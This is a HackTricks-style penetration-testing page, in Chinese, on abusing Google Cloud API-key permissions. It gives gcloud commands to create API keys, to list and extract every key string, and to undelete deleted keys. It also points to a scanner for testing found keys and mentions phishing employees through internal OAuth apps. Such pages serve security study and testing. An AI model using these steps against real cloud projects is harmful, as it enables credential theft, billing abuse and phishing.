GCP - Apikeys Privesc

Support HackTricks

Apikeys

以下权限对于创建和窃取API密钥非常有用,文档中没有提到:API密钥是一个简单的加密字符串,标识一个没有任何主体的应用程序。它们对于匿名访问公共数据非常有用,并用于API请求与您的项目关联,以便进行配额和计费

因此,使用API密钥,您可以让该公司为您使用API付费,但您将无法提升权限。

有关API密钥的更多信息,请查看:

有关其他创建API密钥的方法,请查看:

Brute Force API Key access

由于您可能不知道项目中启用了哪些API或您找到的API密钥应用了哪些限制,因此运行工具 https://github.com/ozguralp/gmapsapiscanner 并检查您可以使用API密钥访问的内容将是有趣的。

apikeys.keys.create

此权限允许创建API密钥

gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}

您可以在这里找到一个脚本,用于自动化创建、利用和清理漏洞环境

请注意,默认情况下,用户有权限创建新项目,并且他们被授予新项目的所有者角色。因此,用户可以在此项目中创建一个项目和一个API密钥

apikeys.keys.getKeyString , apikeys.keys.list

这些权限允许列出和获取所有apiKeys并获取密钥

for  key  in  $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done

您可以在这里找到一个脚本,用于自动化创建、利用和清理漏洞环境

apikeys.keys.undelete , apikeys.keys.list

这些权限允许您列出和重新生成已删除的api密钥在完成undelete后,输出中会给出API密钥

gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>

创建内部 OAuth 应用程序以钓鱼其他员工

查看以下页面以了解如何执行此操作,尽管此操作属于服务 clientauthconfig 根据文档:

支持 HackTricks

Last updated